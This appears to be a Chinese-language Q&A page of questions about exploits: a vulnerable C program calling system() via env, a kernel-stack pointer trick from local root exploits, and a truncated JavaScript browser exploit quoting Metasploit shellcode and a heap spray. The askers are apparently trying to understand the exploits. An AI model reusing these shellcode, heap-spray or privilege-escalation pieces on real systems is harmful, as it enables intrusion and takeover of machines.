Tag: 利用

这个C代码有什么弱点?

#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } 我理解的方式,上面的代码允许任意代码(或程序)执行 – 是什么让这个脆弱,以及如何利用这一点?

利用代码中的指针的解释

在获取root shell的一些漏洞攻击中,我经常看到这样一个指针: int i; unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); 任何人都可以解释一下这个指针吗? 我认为8191是内核堆栈的大小。 p指向内核栈的底部? 这里是如何使用指针p : int i; unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && […]

帮我理解这个JavaScript漏洞

我通常没有难以阅读的JavaScript脚本,但这一个我无法弄清楚逻辑。 代码来自4天前发布的漏洞利用。 你可以在milw0rmfind它。 这里是代码: <html> <div id="replace">x</div> <script> // windows/exec – 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); […]